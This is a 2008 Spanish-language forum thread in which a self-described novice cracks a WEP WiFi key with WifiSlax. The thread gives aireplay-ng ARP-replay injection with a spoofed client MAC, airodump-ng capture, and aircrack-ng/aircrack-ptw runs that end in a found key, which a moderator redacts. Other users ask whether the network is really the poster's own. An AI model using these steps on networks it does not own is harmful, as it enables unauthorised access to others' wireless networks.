Capturo IVs pero no me extrae la clave.

Soy nuevo en esto y estoy haciendo pruebas con mi wifi con la distro de WifiSlax.

Con el aireplay-ng he obtenido lo siguiente:

Citar

aireplay-ng --arpreplay -b BSSID -h STATION eth0
The interface MAC (----------------) doesn't match the specified MAC (-h).
ifconfig eth0 hw ether ------------------
Saving ARP requests in replay_arp-0420-210548.cap
You should also start airodump-ng to capture replies.
Read 249982 packets (got 167361 ARP requests), sent 108289 packets...(287 pps)

Cuando he visto que tenía suficientes paquetes (249982) y arp (167361) he parado el comando con CTRL+C y he lanzado el aircrack-ng como aparece a continuación:

Citar

aircrack-ng -a 1 captura-02.ivs
Opening captura-02.ivs
Read 165901 packets.

# BSSID ESSID Encryption

1 BSSID WEP (165901 IVs)

Choosing first network as target.
1

Aircrack-ng 0.9.1 r511

[00:43:33] Tested 7892740 keys (got 165901 IVs)

KB depth byte(vote)
0 0/ 2 F8( 30) 1A( 15) F7( 12) 30( 5) 7A( 3) 93( 3)
1 1/ 2 FA( 54) C6( 22) 03( 17) C3( 16) F1( 15) 8E( 13)
2 0/ 1 8F( 115) 89( 25) BB( 25) 05( 22) 0F( 22) 0E( 20)
3 0/ 2 4D( 147) 95( 76) 65( 32) 6B( 31) 6F( 26) F6( 23)
4 1/ 5 2A( 75) 8B( 60) 7B( 50) DB( 50) 26( 40) A9( 40)
5 0/ 1 DF( 70) EC( 16) 53( 15) 76( 15) 86( 15) CE( 15)
6 1/ 3 FA( 40) F7( 31) A9( 27) 04( 21) 98( 20) 49( 15)
7 0/ 2 F4( 39) 00( 21) 06( 16) 46( 15) 53( 15) 72( 15)
8 0/ 4 3D( 15) FE( 15) 0C( 12) F9( 9) F6( 6) 8B( 5)
9 0/ 7 B0( 30) B5( 24) BE( 20) AE( 18) B6( 18) 0B( 15)

Como podeis ver después de 43 minutos no ha parado el proceso y sigue buscando.
¿Es normal o me estoy saltando algún paso?

Buenas:

Primero.... no se ponen ni ESSID ni BSSID ni STATION.

NO hace falta que pares el airodump ni el aireplay para lanzar el aircrack.

Y en vez del aircrack-ng lanza el aircrack-ptw o -z. Aunque debes capturar en CAP y no en IVS

aircrack-ptw archivocaptura.cap

aircrack-ng -z archivocaptura.cap

Un saludo

ChimoC

si te das cuenta arriba tienes 249982 paquetes y mas abajo 165901 ivs, eso es porque no es lo mismo....puedes tener 1 millon mil quinientos paquetes, pero ivs no seran ni la mitad de eso, quizas...........TU necesitas entre 200.000 y 1 millon de IVS, no paquetes...
o sea, tienes que fijarte en los IVS no PAQUETES

captura un poco mas de ivs...y te recomiendo que uses aircrack 2.4.....ahh y es mejor tener los tres operando al mismo tiempo: AIRCRACK AIRODUMP AIREPLAY.....

ojala la descifres..

saludos

Gracias por la ayuda, como ya he dicho soy novato y estoy algo perdido entre tantos terminos.

Un favor, me podrían decir el orden en el que hay que ejecutar los comandos, desde poner la tarjeta en modo monitor hasta obtener la clave.
Mi tarjeta está identificada como eth0.
Me sería de gran ayuda.
Gracias a todos.

No tienes más que seguir los tutoriales que hay por el foro , y cambiar el nombre que le den a las targetas de los que han hecho los manuales por el de la tuya , o sino si estás empezando y no te quieres liar tambien puedes usar airoscript

Un saludo

Gracias a todos por la ayuda.

He ejecutado los programas que me han dicho en el siguiente orden.

airodump-ng --channel 1 --write captu01 eth1

Citar

CH 1 ][ Elapsed: 56 mins ][ 2008-04-21 20:49

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSI

**:**:**:**:**:86 39 83 32842 1315254 371 1 11 WEP WEP Wir

BSSID STATION PWR Lost Packets Probes

**:**:**:**:**:86 **:**:**:**:**:53 74 0 528

aireplay-ng --arpreplay -b **:**:**:**:**:86 -h **:**:**:**:**:53 eth1

Citar

The interface MAC (00:11:E2:00:44:05) doesn't match the specified MAC (-h).
ifconfig eth1 hw ether **:**:**:**:**:53
Saving ARP requests in replay_arp-0421-195110.cap
You should also start airodump-ng to capture replies.
Read 2009449 packets (got 1329567 ARP requests), sent 911038 packets...(334 pps)

Luego ejecute el aircrack y este es el resultado:

aircrack-ng -z captu01-01.cap (ha capturado 1314906 IVs)

Citar

KB depth byte(vote)

[00:02:59] Tested 0/140000 keys (got 1314906 IVs)

0 0/ 1 XX(7187) A8(5374) 88(5321) 3D(5304) 26(5291) 2F(5286)
1 0/ 1 XX(7077) 0F(5316) D9(5299) 79(5297) 1A(5293) C0(5288)
2 0/ 1 XX(7022) E7(5357) 8A(5340) 5E(5305) 29(5288) 34(5282)
3 0/ 1 XX(6920) 7A(5375) 73(5333) ED(5318) 7E(5317) 37(5310)
4 0/ 1 XX(6957) 04(5304) 5D(5294) 35(5281) CB(5280) F1(5278)

KEY FOUND! [ ESTA ES LA CLAVE]
Decrypted correctly: 100%

aircrack-ptw captu01-01.cap

Citar

Buscando una nueva tabla
BSSID = 00:A0:C5:7A:27:86 Keyindex=0
Estadisticas para BSSID 00:A0:C5:7A:27:86 Keyindex=0 Paquetes=1247280
Clave encontrada con longitud ESTA ES LA CLAVE
Equivalente en ASCII: XXXXXXXXXXX

Como pueden ver tanto el aircrack-ng como el aircrack-ptw dan una clave ilegible.
¿Que me aconsejan?

Buenas:

Pues yo la veo muy bien.... inclusive te la he editado....

Un saludo

ChimoC

Vale, pero como pudistes ver antes de modificar el post, la clave que dio no eran caracteres alfanumericos.
En esos casos, de que otra forma se puede ejecutar el aircrack para buscar la clave.

Gracias.

Buenas:

Las claves que te quité (y puesto en rojo) son las que se meten sin los dos puntos....

Además .... es tu red?

Un saludo

ChimoC

Cita de: pellagofio2 en 21 Abril 2008, 03:27

Soy nuevo en esto y estoy haciendo pruebas con mi wifi con la distro de WifiSlax.

Decir dice que es " su wifi "

Un saludo ::)

hard-h2o modding Foros de ayuda Yashira.org Videojuegos indetectables.net

Noticias Informatica Seguridad Informática ADSL Foros en español eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.